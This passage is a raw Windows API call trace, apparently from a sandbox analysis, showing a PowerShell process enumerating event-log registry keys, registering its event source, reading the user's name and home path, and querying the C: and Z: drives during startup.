RegEnumKeyExW (in: hKey=0x374, dwIndex=0x4, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x5, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x6, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x7, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x8, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x354) returned 0x0 [0062.888] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.888] RegOpenKeyExW (in: hKey=0x374, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x378) returned 0x0 [0062.888] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.888] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x37c) returned 0x0 [0062.888] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.888] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x380) returned 0x0 [0062.888] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.888] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x384) returned 0x0 [0062.888] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.888] RegOpenKeyExW (in: hKey=0x374, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x388) returned 0x0 [0062.888] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.888] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x5 [0062.894] RegOpenKeyExW (in: hKey=0x374, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x38c) returned 0x0 [0062.894] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.894] RegOpenKeyExW (in: hKey=0x374, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x390) returned 0x0 [0062.894] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x394) returned 0x0 [0062.894] RegCloseKey (hKey=0x394) returned 0x0 [0062.895] RegCloseKey (hKey=0x374) returned 0x0 [0062.895] RegCloseKey (hKey=0x390) returned 0x0 [0062.896] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d158 | out: phkResult=0x27d158*=0x390) returned 0x0 [0062.896] RegQueryInfoKeyW (in: hKey=0x390, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27d0cc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0c8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27d0cc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0c8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x0, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x1, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x2, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x3, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x4, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x5, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x6, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.896] CoTaskMemFree (pv=0x13d560) [0062.896] CoTaskMemFree (pv=0x0) [0062.896] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.896] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x7, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.897] CoTaskMemFree (pv=0x13d560) [0062.897] CoTaskMemFree (pv=0x0) [0062.897] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.897] RegEnumKeyExW (in: hKey=0x390, dwIndex=0x8, lpName=0x13d560, lpcchName=0x27d158, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27d158, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.897] CoTaskMemFree (pv=0x13d560) [0062.897] CoTaskMemFree (pv=0x0) [0062.897] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x374) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x390, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x394) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x398) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x39c) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.897] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x3a0) returned 0x0 [0062.897] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.898] RegOpenKeyExW (in: hKey=0x390, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x3a4) returned 0x0 [0062.898] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.898] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x5 [0062.901] RegOpenKeyExW (in: hKey=0x390, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x3a8) returned 0x0 [0062.901] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x0) returned 0x2 [0062.902] RegOpenKeyExW (in: hKey=0x390, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x3ac) returned 0x0 [0062.902] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1b8 | out: phkResult=0x27d1b8*=0x3b0) returned 0x0 [0062.902] RegCloseKey (hKey=0x3b0) returned 0x0 [0062.902] RegCloseKey (hKey=0x390) returned 0x0 [0062.902] RegCloseKey (hKey=0x3ac) returned 0x0 [0062.908] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b8e0008 [0062.910] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c4a5a8*="WSMan", lpRawData=0x3c4a318) returned 1 [0062.914] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.914] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.915] CoTaskMemFree (pv=0x18ae00) [0062.915] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0062.915] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0062.916] CoTaskMemFree (pv=0x1b7a9230) [0062.916] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.916] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0062.916] CoTaskMemFree (pv=0x13d560) [0062.916] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c4fa90*="Alias", lpRawData=0x3c4f820) returned 1 [0062.917] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.917] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.917] CoTaskMemFree (pv=0x18ae00) [0062.917] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0062.917] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0062.918] CoTaskMemFree (pv=0x1b7a9230) [0062.918] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.918] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0062.918] CoTaskMemFree (pv=0x13d560) [0062.918] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c55038*="Environment", lpRawData=0x3c54dc8) returned 1 [0062.919] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.919] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.919] CoTaskMemFree (pv=0x18ae00) [0062.919] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.919] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0062.919] CoTaskMemFree (pv=0x18ae00) [0062.919] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.919] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="\\Users\\qj4SUKboE") returned 0x10 [0062.919] CoTaskMemFree (pv=0x18ae00) [0062.920] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE", nBufferLength=0x105, lpBuffer=0x27cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE", lpFilePart=0x0) returned 0x12 [0062.920] SetErrorMode (uMode=0x1) returned 0x1 [0062.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE" (normalized: "c:\\users\\qj4sukboe"), fInfoLevelId=0x0, lpFileInformation=0x27d200 | out: lpFileInformation=0x27d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83ab16d0, ftCreationTime.dwHighDateTime=0x1d31cc1, ftLastAccessTime.dwLowDateTime=0x39fecb10, ftLastAccessTime.dwHighDateTime=0x1d31cff, ftLastWriteTime.dwLowDateTime=0x39fecb10, ftLastWriteTime.dwHighDateTime=0x1d31cff, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0062.920] SetErrorMode (uMode=0x1) returned 0x1 [0062.922] GetLogicalDrives () returned 0x2000004 [0062.923] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27cd60, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.923] GetFullPathNameW (in: lpFileName="Z:\\.", nBufferLength=0x105, lpBuffer=0x27cd60, lpFilePart=0x0 | out: lpBuffer="Z:\\", lpFilePart=0x0) returned 0x3 [0062.924] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.924] SetErrorMode (uMode=0x1) returned 0x1 [0062.924] CoTaskMemAlloc (cb=0x68) returned 0x1b7897e0 [0062.924] CoTaskMemAlloc (cb=0x68) returned 0x1b789850 [0062.924] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x1b7897e0, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x27d1d0, lpMaximumComponentLength=0x27d1cc, lpFileSystemFlags=0x27d1c8, lpFileSystemNameBuffer=0x1b789850, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x27d1d0*=0x500fb205, lpMaximumComponentLength=0x27d1cc*=0xff, lpFileSystemFlags=0x27d1c8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0062.925] CoTaskMemFree (pv=0x1b7897e0) [0062.925] CoTaskMemFree (pv=0x1b789850) [0062.925] SetErrorMode (uMode=0x1) returned 0x1 [0062.925] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.925] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27cf10, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.925] SetErrorMode (uMode=0x1) returned 0x1 [0062.925] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27d170 | out: lpFileInformation=0x27d170*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x81ab4ab0, ftLastAccessTime.dwHighDateTime=0x1d3472f, ftLastWriteTime.dwLowDateTime=0x81ab4ab0, ftLastWriteTime.dwHighDateTime=0x1d3472f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.925] SetErrorMode (uMode=0x1) returned 0x1 [0062.925] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27cf10, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.925] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27cdc0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.925] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.925] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x4 [0062.926] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x4 [0062.926] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x4 [0062.926] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x27ccf0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.926] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.926] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27cd40, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.926] SetErrorMode (uMode=0x1) returned 0x1 [0062.926] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27cfa0 | out: lpFileInformation=0x27cfa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x81ab4ab0, ftLastAccessTime.dwHighDateTime=0x1d3472f, ftLastWriteTime.dwLowDateTime=0x81ab4ab0, ftLastWriteTime.dwHighDateTime=0x1d3472f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.926] SetErrorMode (uMode=0x1) returned 0x1 [0062.926] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27cd40, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.926] SetErrorMode (uMode=0x1) returned 0x1 [0062.926] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27cfa0 | out: lpFileInformation=0x27cfa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x81ab4ab0, ftLastAccessTime.dwHighDateTime=0x1d3472f, ftLastWriteTime.dwLowDateTime=0x81ab4ab0, ftLastWriteTime.dwHighDateTime=0x1d3472f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.927] SetErrorMode (uMode=0x1) returned 0x1 [0062.927] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x27cde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.927] SetErrorMode (uMode=0x1) returned 0x1 [0062.927] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x27d040 | out: lpFileInformation=0x27d040*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x81ab4ab0, ftLastAccessTime.dwHighDateTime=0x1d3472f, ftLastWriteTime.dwLowDateTime=0x81ab4ab0, ftLastWriteTime.dwHighDateTime=0x1d3472f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.927] SetErrorMode (uMode=0x1) returned 0x1 [0062.927] GetFullPathNameW (in: lpFileName="Z:\\.", nBufferLength=0x105, lpBuffer=0x27ccf0, lpFilePart=0x0 | out: lpBuffer="Z:\\", lpFilePart=0x0) returned 0x3 [0062.927] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x4 [0062.927] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0062.927] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0062.928] CoTaskMemFree (pv=0x1b7a9230) [0062.928] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.928] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0062.928] CoTaskMemFree (pv=0x13d560) [0062.928] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c5ce60*="FileSystem", lpRawData=0x3c5cbf0) returned 1 [0062.929] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.929] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.929] CoTaskMemFree (pv=0x18ae00) [0062.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cd20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.930] CoTaskMemAlloc (cb=0x804) returned 0x1b7a9230 [0062.930] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a9230, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0062.930] CoTaskMemFree (pv=0x1b7a9230) [0062.930] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.930] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0062.930] CoTaskMemFree (pv=0x13d560) [0062.930] ReportEventW (hEventLog=0x1b8e0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c62650*="Function", lpRawData=0x3c623e0) returned 1 [0062.932] CoTaskMemAlloc (cb=0x104) returned 0x18ae00 [0062.932] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18ae00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.932] CoTaskMemFree (pv=0x18ae00) [0062.937] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ccf0, lpFilePart=0x0 